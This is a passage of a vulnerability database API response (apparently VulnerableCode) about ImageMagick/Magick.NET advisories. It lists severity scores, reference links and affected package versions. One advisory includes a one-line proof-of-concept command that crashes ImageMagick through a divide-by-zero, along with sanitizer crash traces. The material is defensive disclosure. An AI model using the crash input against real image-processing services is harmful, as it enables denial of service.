url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26284"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442137","reference_id":"2442137","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442137"},{"reference_url":"https://github.com/advisories/GHSA-wrhr-rf8j-r842","reference_id":"GHSA-wrhr-rf8j-r842","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-wrhr-rf8j-r842"},{"reference_url":"https://usn.ubuntu.com/8069-1/","reference_id":"USN-8069-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8069-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-26284","GHSA-wrhr-rf8j-r842"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-tv15-dcnu-pbbn"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24918?format=json","vulnerability_id":"VCID-utfe-h3b7-jqcj","summary":"ImageMagick: MSL - Stack overflow in ProcessMSLScript\n### Summary\nMagick fails to check for circular references between two MSLs, leading to a stack overflow.\n\n### Details\nAfter reading a.msl using magick, the following is displayed:\n\n`MSLStartElement` -> `ReadImage` -> `ReadMSLImage` -> `ProcessMSLScript` -> `xmlParseChunk` -> `xmlParseTryOrFinish` -> `MSLStartElement`\n\n```bash\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==114345==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x72509fc7d804 bp 0x7ffd6598b390 sp 0x7ffd6598ab20 T0)\n    #0 0x72509fc7d804 in strlen ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:388\n[...]\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25971.json","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25971.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25971","reference_id":"","reference_type":"","scores":[{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.12904","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.13007","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.13088","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.13138","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.13107","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.13068","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.13017","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.12919","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.12922","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.1302","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.13041","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.13009","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.13153","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.13209","published_at":"2026-04-04T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25971"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25971","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25971"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8mpr-6xr2-chhc","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8mpr-6xr2-chhc"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25971","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25971"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442117","reference_id":"2442117","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442117"},{"reference_url":"https://github.com/advisories/GHSA-8mpr-6xr2-chhc","reference_id":"GHSA-8mpr-6xr2-chhc","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-8mpr-6xr2-chhc"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25971","GHSA-8mpr-6xr2-chhc"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-utfe-h3b7-jqcj"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21084?format=json","vulnerability_id":"VCID-uvpj-a8v5-ebgz","summary":"Image Magick has a Memory Leak in coders/ashlar.c\nMemory leak exists in `coders/ashlar.c`. The `WriteASHLARImage` allocates a structure.  However, when an exception is thrown, the allocated memory is not properly released, resulting in a potential memory leak.\n\n```\n```bash\n==78968== Memcheck, a memory error detector\n==78968== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.\n==78968== Using Valgrind-3.22.0 and LibVEX; rerun with -h for copyright info\n==78968== \n==78968== HEAP SUMMARY:\n==78968==     in use at exit: 17,232 bytes in 4 blocks\n==78968==   total heap usage: 4,781 allocs, 4,777 frees, 785,472 bytes allocated\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25969.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25969.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25969","reference_id":"","reference_type":"","scores":[{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04961","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04955","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04916","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04879","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.18055","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.1811","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17811","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17899","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.1796","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17976","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17931","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17882","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17825","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17835","published_at":"2026-04-18T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25969"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/a253d1b124ebdcc2832daac6f9a35c362635b40e","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/a253d1b124ebdcc2832daac6f9a35c362635b40e"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xgm3-v4r9-wfgm","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xgm3-v4r9-wfgm"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25969","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25969"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442116","reference_id":"2442116","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442116"},{"reference_url":"https://github.com/advisories/GHSA-xgm3-v4r9-wfgm","reference_id":"GHSA-xgm3-v4r9-wfgm","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-xgm3-v4r9-wfgm"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25969","GHSA-xgm3-v4r9-wfgm"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-uvpj-a8v5-ebgz"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/28862?format=json","vulnerability_id":"VCID-uwj5-1fkf-7qg9","summary":"ImageMagick affected by divide-by-zero in ThumbnailImage via montage -geometry \":\" leads to crash\n## Summary\nPassing a geometry string containing only a colon (\":\") to montage -geometry leads GetGeometry() to set width/height to 0. Later, ThumbnailImage() divides by these zero dimensions, triggering a crash (SIGFPE/abort), resulting in a denial of service.\n\n## Details\n**Root Cause**\n1. `montage -geometry \":\" ...` reaches `MagickCore/geometry.c:GetGeometry().`\n2. `StringToDouble/InterpretLocaleValue` parses `\":\"` as `0.0;` then: \nhttps://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355\n`WidthValue` (and/or `HeightValue)` is set with a zero dimension.\n3. In MagickCore/resize.c:ThumbnailImage(), the code computes:\nhttps://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629\ncausing a division by zero and immediate crash.\n\nThe issue is trivially triggerable without external input files (e.g., using `xc:white`).\n\n### Reproduction\nEnvironment\n```\nVersion: ImageMagick 7.1.2-1 (Beta) Q16-HDRI x86_64 0ba1b587b:20250812 https://imagemagick.org\nFeatures: Cipher DPC HDRI\nDelegates (built-in): bzlib fontconfig freetype jbig jng jpeg lcms lzma pangocairo png tiff x xml zlib\nCompiler: clang (14.0.0)\nOS/Arch: Linux x86_64\n```\nSteps\n```\n./bin/magick montage -geometry : xc:white null:\n```\nObserved result\n```\nIOT instruction (core dumped)\n# (Environment-dependent: SIGFPE/abort may be observed.)\n```\n\n## PoC\nNo external file required; the pseudo image xc:white suffices:\n```\n./bin/magick montage -geometry : xc:white null:\n```\n\n## Impact\n- **Denial of Service:** A divide-by-zero in `ThumbnailImage()` causes immediate abnormal termination (e.g., SIGFPE/abort), crashing the ImageMagick process.\n\n\n## Suggested fix\nDefensively reject zero dimensions early in `ThumbnailImage()`:\n```c\nif ((columns == 0) || (rows == 0)) {\n  (void) ThrowMagickException(exception, GetMagickModule(), OptionError,\n    \"InvalidGeometry\", \"thumbnail requires non-zero dimensions: %.20gx%.20g\",\n    (double) columns, (double) rows);\n  return (Image *) NULL;\n}\n```\nAdditionally, consider tightening validation in `GetGeometry()` so that colon-only (and similar malformed) inputs do not yield `WidthValue/HeightValue` with zero, or are rejected outright. Variants like `\"x:\"` or `\":x\"` may also need explicit handling (maintainer confirmation requested).\n\n## Credits\n### Team Daemon Fuzz Hunters\n**Bug Hunting Master Program, HSpace/Findthegap**\n<br>\n\n**Woojin Park**\n@jin-156\n[1203kids@gmail.com](mailto:1203kids@gmail.com)\n\n**Hojun Lee**\n@leehohojune \n[leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr)\n\n**Youngin Won**\n@amethyst0225\n[youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr)\n\n**Siyeon Han**\n@hanbunny\n[kokosyeon@gmail.com](mailto:kokosyeon@gmail.com)","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55212.json","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55212.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55212","reference_id":"","reference_type":"","scores":[{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51784","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51828","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51821","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51873","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51892","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51885","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51843","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51858","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51878","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51827","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51829","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51813","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51775","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00284","scoring_system":"epss","scoring_elements":"0.51788","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55212"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55212","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55212"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"4.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/"}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/5f0bcf986b8b5e90567750d31a37af502b73f2af","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/commit/5f0bcf986b8b5e90567750d31a37af502b73f2af"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fh55-q5pj-pxgw","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fh55-q5pj-pxgw"},{"reference_url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55212","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55212"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111587","reference_id":"1111587","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111587"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2391088","reference_id":"2391088","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2391088"},{"reference_url":"https://github.com/advisories/GHSA-fh55-q5pj-pxgw","reference_id":"GHSA-fh55-q5pj-pxgw","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-fh55-q5pj-pxgw"},{"reference_url":"https://usn.ubuntu.com/7756-1/","reference_id":"USN-7756-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/7756-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/570806?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.8.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2gw3-qfan-jygd"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-569d-6nue-5kbq"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6meg-yjby-a7gj"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b43n-3d1g-u3fe"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"v